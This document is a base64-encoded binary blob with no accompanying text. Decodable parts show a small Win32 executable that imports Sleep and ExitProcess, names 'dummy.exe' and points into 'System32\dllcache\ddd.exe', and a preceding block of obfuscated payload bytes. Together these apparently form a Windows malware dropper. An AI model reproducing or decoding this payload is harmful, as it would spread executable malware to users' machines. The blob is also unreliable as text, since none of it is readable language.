goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCavPDy7+fy4e3Apuns5fP 84+/t7e/uwKbp7OXz/PP57eHu9OXjwLPo4fLl5Pzu7eHp7s6BwtjgmtXT4I6UwsfgisvghcT 818vTw8HMzpXQxOC37+/i5c6Lw8HgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKC goKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgjdDYoI6F2MXgjpPD0uCOkMnG4I6CwdTgoKC goKCgoKCgoKCgjpTY1OCOiNTN4I6I1M3M4I6XwcLgjoTPw+COmMzT4I6K0MfgjoPQ0OCOg+C OkMHT4I6N0Mfgjo3QxcfgjoLBy+COjdDToKCgs8/G1NfB0sX87cnD0s/Tz8bU/PfJzsTP19P 849XS0sXO1PbF0tPJz8784KHQ0MCwwdTI0+Cy1c7gstXO787DxeCz2dPUxc3849XS0sXO1OP PztTSz8zzxdT888XS1snDxdPgs8/G1NfB0sX87cnD0s/Tz8bU/Pfh4vz34eLUvPfBwsCmycz FwK7BzcXgstXO88XS1snDxdPgqc7UxdLOxdTAs8XU1MnOx9P848HDyMX88MHUyNPgoKCgoKC goKjJzKCoxczMz8ygssXaoKbX2qC1zsTFzMnWxdLBwszFwI3ByczNjYKFk8KgssXU1dLOxcT AjcHJzM2NgoWTwqCgoKCggcCFk8CFk8CHwc3F4IHAhZPAhZPAlM/PzOCBwIWTwIWTwJfFwtP J1MXggcCFk8CFk8CQwdTDyOCFk8CSxc3P1sHMwJTPz8zT4KCgoKCgoKCOxdfghtXOztngjsn DxeCI1c3P1dLghdjDydTF4IfPz8TgkM/XxtXM4LfJzvjw4KnlwJaOkKC305KOpczLxdLOwKC 305KOq8zF2uCgiM/XwIHSxcCZz9XgjMXUx5PAgsXAhtLJxc7E0+CEwdLMyc7H4ITPzseUwIT Syc7LwJTPz8CN1cPI4JnP1dLAkMHT09fP0sTgiM/Oxdngk8/NxcCR1cXT1MnPztPgkMzFwdP FwJTS2cCBx8HJzuCXxczDz83FwJTPwI3ZwIjPzcXUz9fO4JTIxcCnwdLExc7Aj8bApcTFzuC JztTSz8TVw9TJz87Aj87AoeTz7OCNxcXUyc7HwI7P1MnDxeCR1cXT1MnPzs7BydLF4IPPzsf SwdTVzMHUyc/O0+CTz9PBoIrB0MHOxdPFwIfJ0szAtvPAkMzB2cLP2eCMz8/LzI3ZwILFwdX UycbVzMCHydLMwIbSycXOxOCFwcfF0sCUz8CTxcXAmc/V4JPQycPFwIfJ0szTx4CWz8PBzMC Dz87DxdLU4IrB0MHOxdPFwIzB09PHgJPF2NnAkMnD1NXSxdPgoKCgoKCgoLPZzcHO1MXD4K3 DwcbFxeCmzbPFw9XSxeCzz9DIz9PgoKCgoKbSz83agKC0z9qAoLPVwsrFw9TagKCgoLTIxcC Gz8zMz9fJzsfAjcHJzMCDwc7HlMCCxcCTxc7UwJTPwIWT2qC0yMXAgdTUwcPIzcXO1OC0yMX AhsnMxeCAidPAlMjFwI/SycfJzsHMwI3ByczggIfJ1sXAmc/VwJTIxcCFk+CAidPAgcCFk8C Ewc7HxdLP1dPAlsnS1dPAlMjB1MCFk+CDwc7Aic7GxcPUwI/OwLfJztmYj63Fz5KQkJCPuPD OoJPQ0sXBxMCUyNLP1cfIwIXNwcnMzqCWxdLZwKCT0MXDycHMwKCI1NTQ2o+PoJfX186gjoP PzeCmz9LAjc/SxcCJzsbP0s3B1MnPzsyQzMXB08XAlsnTydTAoLTIydPAidPAoKnAhZPAmc/ VwJfP1czEwIWTwInUzqCFzsrP2eCMycvF4JfJ08jgiM/QxeCF2NDFw9TgoKPI0snT1M3B0+C uxdfAmcXB0uCzwcnO1MC2wczFztTJzsXHk8CkwdngoczMyMHMzM/XzcHT4KHQ0snMwKbPz8z Tx4CkwdngrMHE2cCkwdngodPT1c3Q1MnPzuCjwc7EzMXNwdPgoczMwLPP1czTx6TB2eCl0Mn QyMHO2eCgoKCgqMHQ0NnAoKjB1sXAgcCgoJyC0t6tqqCtqqCQz9PUzcHT1MXS4KCgt8nOy+C gqc3Bx8XwwdTI4K3p7eXNtsXS08nPztqAkY6Qraqjz87Uxc7UzbTZ0MXagI3VzNTJ0MHS1M+ BzNTF0s7B1MnWxdutqqmCz9XOxMHS2d2go8/O1MXO1M202dDF2oCUxdjUz4jUzczbraqjz87 Uxc7UzbTSwc7TxsXSzaXOw8/Eyc7H2oCR1c/UxcTNkNLJztTBwszF7aqtqpyo9O3s3pyo5eH k3pyPqOXh5N6cou/k+d6Fk+2qnKbv7vTeoKCcj6bv7vTenI+i7+T53pyPqPTt7N6goKCjz87 Uxc7UzbTZ0MXagIWT262qqY7BzcXdhZPtqqPPztTFztTNtNLBztPGxdLNpc7Dz8TJzsfagIL B08XWlK2qo8/O1MXO1M2p5NqAnIWT3qCgoKCgoKCgoKCB1cTJz8+YzZfB1uCB1cTJz8+YzY3 JxMnggdDQzMnDwdTJz87Pj8PUxdTNk9TSxcHN4KCgoKCgoKCgraqcicbSwc3FwJPSw92TpMP JxNqFk8CIxcnHyNTdk6TQgJfJxNTI3ZOk0J6tqpyPicbSwc3F3qC0yMnTwIfBzcXAidPAjdn AhsnS09TAl8/Sy86cgtLeraq5z9XHksXAlMjFwIbJ0tPUwJDMwdnF0s6gr+nj8eCw0s/H0sH N5snMxdPkydLgoKCgk83U0M6gv+H28NOSoL/h9vDj4+Cu7+TTkqCu8PPz9uPgrvLl8/HTkqC u8+Po5eTTkqCu8+Po5eTu9OCu8/Ds9efp7uCu4fbgruH24fDz9uPgruH24fD305KgruH27PX TkqCu4fby9e7y4K7h9vfTkqC/4fbw7eCh7OXy9PP24+Ch7e/u4KH28NOSoKH28OPj4KH28O3 grtOSs+Ph7vfgruH29+704KHu9On26fLgofbw9fDk4KH25+P08uzgofb36e7ZlaCz4+Hu05K gtvPo9+nu05Kgps2z9O/w9+CmzbDy7/TZlaCh4+v36e7TkqC25fT08uH54Lbl9NmVoLP35eX w2ZWgsOPj9+nu2Zigqe/t7+7ZmKCh9vD04+Ch9uXTkqCh9uPv7vPv7OCm8M236e7gpPbw2ZW gps2h5+702ZWgo+zh99mVoK7249mVoLPj4e7gtuny9fPgrO/j6+Tv9+7SkJCQoK7P0tTPzuC tw8HGxcXgoc7UydbJ0uC04fPr7efy4KCgoKCgoKCgoKCgoKCgoKCgoKHu9OnNtunyzqTh9OC j6Ovs6fP0zqTh9OCj6Ovs6fP0zq3z4KPo6+zp8/TOo/Dz4KPo6+zp8/TOtOH24Kn24s6u9Pr gs+3h8vTj6OvOrfPgs+3h8vTj6OvOo/Dz4KH25/H0zqTh9OCh5/Xh8uTOpOH04KCgoKCgoLP IzNfB0MnOhMzM4KvF0s7FzNOSjoTMzOCOxdTB0MnTko6EzMzgk8bDzoTMzOCgoKCgs8nSw8H N4K7JzcTB4KPPxMXyxcTgt/Hr7e3TmJeYoKfy6eXm05iXmKCm1c7ArM/Wyc7HwKPSyc3JzsH M4K7P0tTPzuCtw8HGxcXgoc7UydbJ0uCh1sPPztPPzOCmzbP07/D34KbNs8XD1dLF4LPP0Mj P0+CWydLV0+Ch9vDArc/OydTP0uCh9vDAtdDEwdTF0+Cpzs/D1czB1MXp9OCw482DyczMyc7 gs9nNwc7UxcPgtNLFzsTArcnD0s/gps2w8u/04ICu7+TTkoCgoKCyxcfJ09TF0vPF0tbJw8X w0s/DxdPT4K7F1PPIwdLF4cTE4LPo5MXMxdTF68XZ4eCzxsPp0+bJzMXw0s/UxcPUxcTgrsX U88jB0sXnxdTpzsbP4K7F1OHQyeLVxsbF0ubSxcXgoKCgoKX48Ozv8uXy4KPt7efy4I3Tyc3 O4InD18PPzs7gl8nO2snQ4KCgoKCw0s/H0sHN4IWTwJyFk96goeLj5OXm5+jp6uvs7e7v8PH y8/T19vf4+frBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tCRkpOUlZaXmJmLj6CTxdTV0OC JztPUwczM4ITFzc/gk87Pz9DZ4JDJw8HD1eCLydTU2eCQzMHZ4JLPw8vgoKCgoKCgoLLB0sG 6p6CvcBPgoK2goKCgoKCgoKCOksHS4KCXyc7JzsXUzoTMzOCpztTF0s7F1OfF1OPPzs7Fw9T FxPPUwdTF4KCgpMnSxcPUz9LZ4ITMzMPBw8jF4KCzxeTFwtXH8NLJ1snMxcfF4LPF9MPC8NL J1snMxcfF4KCgoKCgoKCgl8bDzoPPzc6U1+Cgraq3yc7TkoCrzMXawLbSjpCAhoC3yc7TkoC lzMvF0s7AttGOkYyItMjF0sXAjsnDy8COwc3FwInTwLTXyc7AtsnS1dPKvv///sqJraqjz9D Z0snHyNTMjcHExcCJzsCh08nBzIHOzs/VzsPFzcXO1NqtqpGOqcCXyczMwJTS2cCN2cCCxdP UwJTPwJDSz9TFw9TAlMjFwJXTxdLAhtLPzcCTz83FwJbJw8nP1dPAlsnS1dPMptXOzM/Wxcy zydLDwc3MrsnNxMHMo8/ExfLFxMCBzsTAhdbFzsCJzsPM1cTFwLfTko6rzMXawJGOuM6tqpK Ot8XMzMCQwcnEwIrPwtPAgdLFwJfBztTFxO2qk46wz8/SwIzJxsXAk8jP1czEwILFwJXOwsz F09PFxO2qlI6kz87HlMCBw8PV08XAjcXOsMzFwdPFwIHDw9XTxcCUyMXAlc7GwcnSwJPIydT Al8/SzMTtqqCgoKCgoIBAAAAEQAAABsAAAAiAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAA pQEAAFMAAAAOAgAADgAAADYCAAAOAAAAXgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAYxgAAJ4BAAAMGgAA9AEAAGkqAAAUAQAA5CsAAJwEAABNWlAA AgAAAAQADwD//wAAuAAAAAAAAABAABoBAAC6EAAOH7QJzSG4AUzNIZCQVGhpcyBwcm9ncmFt IG11c3QgYmUgcnVuIHVuZGVyIFdpbjMyDQokN1BFAABMAQQAnSsEiAAAAAAAAAAA4ACOgQsB AhkAAgAAABQAAAAAAAAIQgAAAEAAAAAgAAAAAEAAABAAAAACAAABAAAAAAAAAAMACgAAAAAA AGAAAAAEAAAAAAAAAgAAAAAAEAAAIAAAAAAQAAAQAAAAAAAAEDAAAGRAAAAQQ09ERQAAAAAA EAAAABAAAAACAAAABiAAAGBEQVRBAAAAAAAQAAAAIAAAABAAAAAIQAAAwC5pZGF0YQAAABAA AAAwAAAAAgAAABhAAADALnJlbG9jAAAAFAAAAEAAAIASAAAAGmAAAPBoyAAAAOgHAAAAagDo BgAAAP8lNDBAAP8lODBAKDBAMAAANDBOMAAAVjAAAAAAAABOMAAAVjAAAAAAAABLRVJORUwz Mi5kbGwAAAAAU2xlZXAAAABFeGl0UHJvY2VzcxAAABAAAAATMBkwyEQAALgCV1HoNgAAAB+Y a5DKU4MISyh1Rlef2v4SM5FrOi7HptQsuhnLPq0xaZZESKk6gr+YOnBZEL0UAaCKzrFKkF38 YI11U2a6VgL8ig6A8UHAweeA8XyIDkZmSnXu3yqYrDNI6DlRp75B8em7Ual7PKG5ubm5uaJT ThW+MtUZuEOHmKey8Lm5uROisrC7ubkZcUbbcar7rgHx0bp+ubm5Rro+ubm7uXW6zyMNU16u P8G/PnW6yRkzU3ZUOZf5UXquOUm/Pq4Zob8eus0vMx0lUya6TbEzId/dUzRxprsLC65Z+b9e rtW/Xt8cbYULG88ZiQtRyRs9GWh8ubm5bYULosJKu7m5Qlx15glTfB0trknxv06n1pEXrkmB v06ukZa/HqqQok67ubkNC3w6CQVtOWm5mbm5zqDBubnouFG/On6/H225RpI/vbm5oqJdu7m5 GxmWohuz7x29QN842Gju3zjs2M+n1iVA7yiuBUi/WLhyh17wrl6vVFGtv1yuJUCuBUhubg8f ot5Jvbm5rkR1yq6v4NE7ODh20UHsfFKoI6eoI52oI5M0M4dIuj6svbm5Rn5oubm5uQnjzD+5 ubO5mbm5Rnhoubm5uQmiuBZERkYZrjHxmaa4yLm5ud84Ph1tRg1A4K04UZHdGNipGmxftbpc /77JYkQoU1xudpwNPlF+ImhIiCumOK8sN+M/5VH71y4SM4qWKfDV6PxKlBwGCmv/JKLMTxaj aT4mHxpJNQUePXXk2OZFApBq0yRBdldC8nZXCLNoV5zldle0MHZXn8J0V7m5ubmK+HZXqZV0 V344dFdAsXZXhAN2V3cFdlfspHZXjVN2V3SPdFecu3ZXuqB2V62IdlfX6HZXlld2V1UjdleY GXZX7iF2V5S/dld/S3ZXfMF2V427dldmnnZX1+B2V7m4ubm5ubm5ubmIRwAAuAIAALm5ublJ Rp25vmLVrjNWAxMZqjPXRpKhvbm5rzhT/6LCJ6O5ud9UN6fUp37BF0aSqb25ua84U52iguqj ubnPTl+pCVQwOVMDbn1oh7G5uTen1Kd+HBkXGUaSsb25uaqw0r+lubkJNW56CXk7aCG5ubl7 quL/pbm5VDC4UZk7GysbRpKJvbm5E2hZu7m5ERsTooJFsbm5HxsbRpJRvbm5VDPJOVG3Dw97 OTyhuVQzybgPpjHxgXtTvUZ4PJm5G2mxu7m5otLNgbm5FUaS6b25uRW2VmiUv7m5yAEXW2/u NLLWv7m5u2ikv7m5yOVzSXNTocjlcWFhNLLWv7m5ve7fOOwFC37vVDPJOVPzeWh5sbm5qXtp ubG5uaLC96W5uRcZRpKBvbm5bbkVF0aSkb25uXloz7G5ubt7FQdoy7+5uVEPabG7ubkXbbtt uWixubm5FxsvuRkRaOW5ubkfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXXwE/U11dc2VRFXNd X2tnZQEdU2W5ab25ubhGkr+lublGkrelublueWmxu7m5aCi9ubm+ZrcXbbttuWijubm5O1lZ K2VrUQcxISFfuRkRaDxGRkYfZ3VRV3tdcwEja39dZ19ndVEBF2tlcWdXX/klEQE/U11dc2VR FXNdX2tnZQEXa2VxZ1dfuT4DA0C6YLG7ubk0sh+zubnANrIqs7m5tkZGRqwjyVQ6OFGbNLIf s7m5uTayKrO5uT9GRkauUq7C/6W5uVQ6uFGBaLmrubmuMu82uHy3uDyxp9Qcaxw1hbm5zxhX r89WU1VUOjlRvW6ByjWFubmiwaVe8BEbFaKERbG5uR8bG0aSUb25uWjCqbm5VDypUYVUPLFR PWjIubm5otHxabG7ubkVRpLpvbm5aCy5ublohrm5uWiYqbm5dbpMScmnsEhKAAC4AgAA7Lm5 uWjUu7m5UbVUM8k4UbffOGjeu7m5bsBoUbm5uaLB8Wmxu7m5F225RpKBvbm5aLi7ublC2kbY AVzkQDQ3u7loX7m5uWgpubm5aMupubmn1DzKjbm5uVRap9QQujx7zbm5qpHxrkoRRpLxvbm5 ribBv12rwbFXs2jPubm5rLHxRDjBTVW92HuosfF8CGo/RkZGBRFGkvm9ubm4QfG1o1OTrDHx vcG/UbHBq1OrNLKetbm5OW6QRnR5olHx8Wh8ubm5aGK5ubnIAe3l7e7fOO66YDm7ubmi0s2B ubkRFUaS4b25uTmnsNq5ubkpGVYx8bG5l7m5U3+i0PFpu7m5aPq5ubkXaO65ubnKsbu5udgB 7KJR8dGutV7wBVYY6uXlublR13Xq5blR21Yx8bGZubm5UYnKsbu5ue96rkBe8GhTRkZGujCx u7m5bqdo/bu5uVOpeWgHu7m5uHu4wp61ubk5UYFo+be5ub58t7gsuzp8rR1GksG9ubnfKmiw QEZGojHxsa6h8RkbRpLZvbm5rzinshdGRkZGktG9ubm6MDm7ubl7Psqxu7m5osLNgbm5F17w Bz4Z3zjSRlzkJwk+RpKZvbm587m5ubg+ec6hQ7m5yrmZubnvCl2173obC25UvwrvfhEZbZ9t u229RpKvpbm5rzhTca7R8aJB8ak2t7lDubkXokHxmReiQfGhKaq3FxVGkqelubmvOFPFrqd+ zaKRorm5ublWMRBIvbm5uVGvojEQYGiaRkZGboGu0RC6YLG7ubmuQODsrThTTGh3REZGujCx u7m5fDRGkp+lubm6MKlDubl7PsE7XbXBDVe9sfk+ea5EQBXgaGxGRkbsrThTUgXfHOIVw19L X1FTg+LDc2Pf3VOT4sMBcWFhU6Piw397f2lTs0Q8BW6pBb5kv604UxztXHs+CE0AALgCAAC6 Mkm9ubnfRq6h8aybqBO7O6qh8XkVFUYTcFQzu79Rv74ot1Qzu6lRv754SBnqu7m5uVGpvnhE GRVGE2iqQ70Xbf1tvxdtu2m5ubk4FUYTEL5giTmnsHCxubm+MIkpGRsRGUYTSAu4Q7u4U/u+ YJE5p7A6sbm5Ka8qp7LIsbm5w7n5ubmnvOKxubm+MJEZlL5gmRGiEfGhHRdGUfH5RhNYujSv hbm5FxUXbbEXRlHx6UYTCK84p7Bjsbm5GRUXF229GUYTAK84p7DFsbm5GapzpaKiNq25uaJR 8eGqJbHfKnGum6qVcarbuEO7OVOnlq4h8Yk6ar1e7mo6v7m5rqKGr7m5fvF5xri9ubnvdq4A GxcfbUYVbbttuUYTqAkRbblGGL92rzh7UyauCHW6ySMNUzSuP8G/PnW6yRkzU8yumNG7ubm/ HrpNmRdrZQ1TqXW6TZFrWVH6QKfWGZGiEZlIrkyn1im1vjbpfE6uJ6G/J6nPIfGJX62/LrrL HXtd+1EpHa5J6b486a5dsc9EXVS/3c9WXVjvTbG/TaG/TnW6R0QXG1M5db5HvblTyw24Q7u7 U4/fKqqoqLm5uaqooLm5uTQ5Ab24J0K4ali9ubm4Q7u9U1K4KZf5uCdCOTY50bm5uB9ucA1U OZf5UwKsCQG4fkS4Tr1THEZZtaLSqEJGRqLC5q+5ucq/pbm5Gxde8AU0NfGYqiOtaUm9ubl5 aOa/ubm+fMc9uxHx+bsR8fGqE7V7GzQzubm+POmura4Nqc8up5ax8VW9ti4bH65B8YmuLdG/ Jr5NobmnsAa7ubm/TaG/QfGxuEm1u1GL7ya+aqmuAfGZzyHxoaegxru5uc8uQYlukcrIvbm5 zy5dva4uuyO9vjO9qW69ri4Zrj2xvzHxqb44qa4DrapDra8OUb2qv9847q46rw7ITwAAuAIA AFOzo7m5FxvuCa8Op7Lju7m5G64p6aqkvru5ua4m7yHxgb8tse8tobo6Qbu5uaqkRbu5ua8O p7Jcubm5eWgIvbm52r+4fLe4dL/NFFFmrjw6aKm4cLfNfFF+zXRTtUQwzXxRCrhMsVEQuECx USa4TLNRLLhAs1EyrAS4LjioBZW4LlioBZ+oBYusNBx4rTyoNZuoNYGsPKE5qDWDHHysNavx Nq08qDWrrDWh8citMKg1obggKah1h64ztag1u6g1O6i0oL25uRmxs6i06bu5uQm7tEW7ubmx g6g1rWjLvbm5uHy7uDxIuHSxvRSoFbVo9b25ubgsu6gVkaiUC7u5uahVl6jUAbu5ua48Hmio dY2o9AW7ubnOeqO5ub40/a5ErCTg3TAcKN087C9TUnuuLbGqKeG/IfGpvjqpqinpC+sh8Zk2 MfGhhbm5ubsh8bG+MfGxqa8OU/G6LYF5ublYG22zC17wGR2uI7Vo7ru5uZzsfFYNCQu+arPv I7Ve8KfMbYGFRDO5dUYptQ8Lzwpfs78JwW5WuMHxuVG9tgqqraoNqb5B8am5RY24Q7m5Uaen 1hmRohGZSK4h8aGqKbVqykJGRr4woaY5tafWGZGikZnfKnVvKbXpvxqurb8tsa4B8Ym/A73v LlWrBxe/TrsjvV7srgkZri1Ivy1Azy5Vs78JyW5WqgkZrnOlogkJrq9+1za/ubm5uQUVriHx ib8jvRsaat8cp9a1vxiuPLp8Rka5uTpomb8YNTV8bK48OmiZdb88C786qr+uMfHhcXf+ublG E3hGE2BtuW25rjHxib8zvRlGUfH5RhMgRlHxkUYTKBGiMfGhGW25RlHx+UYTUEZR8ZFGE2BG UfGJRlHx+UYTaL4wOT5oubm5uQmiuGFGRkZqM1BGRntxVXtZa9/duR1zdz9dc3tRcwAAAAC4 AgAAL3NLO7kdc3cfc1EVe2FTczNJO7m5Y1lduRclc1EnWXNlM2VTYzu5FyVzUTNlU2Mdc19n U11/czu5FyVzUT9hZ19zM2VTY7m5X3V/uR91fytfNWthcxldZ1Fzf1Fzcbm5uRNoubm5uQMb vyMVU69GkmdQRkauKLgquxu/Mx1TtUaSZ1BGRgvfHB4oVlq/PB44vxi0LB48vxqqExWqMx0L Az7GBSoQQAAzvnMtQAC9CBBAAOie6v//gL0IEEAAvn0tQADoSer//2oA6DUAAABkdW1teS5l eGUAZTpcd2luZG93c1xTeVN0ZW0zMlxkTGxjYWNoZVxkZGQuZXhlAP8lTEBAAP8lVEBAAAAA YTpcAHgAAAAuZGxsAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAGqeQAACAAAAAQIECAAA AACkAwAAYIJ5giEAAAAAAAAApt8AAAAAAAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAA waPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsA AAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAAQH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAA AAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAAAAC6EUEAuhFBAAAAIAAgACAAIAAgACAAIAAgACAA KAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAA EAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAA EAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEA AQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA AgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAAuAAAAAQAAANTSQADE0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAA AAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8A AMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAA AAAAAAMAAAAHAAAACgAAAIwAAAD/////AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIA AABA1UAACAAAABTVQAAJAAAA6NRAAAoAAADE1EAAEAAAAJjUQAARAAAAaNRAABIAAABE1EAA EwAAABjUQAAYAAAA4NNAABkAAAC400AAGgAAAIDTQAAbAAAASNNAABwAAAAg00AAeAAAABDT QAB5AAAAANNAAHoAAADw0kAA/AAAAOzSQAD/AAAA3NJAAAAAAAAAAAAAgCBJAAAAAACAIEkA AQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEHAQABBwEAAQcBAAEHAQABBwEAA QcBAAAAAAAAAAAAA+AMAAAAAAAAAAAAAAAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQA AAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAA CwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIA AAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAA DQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAA ngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsA AAAYBwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 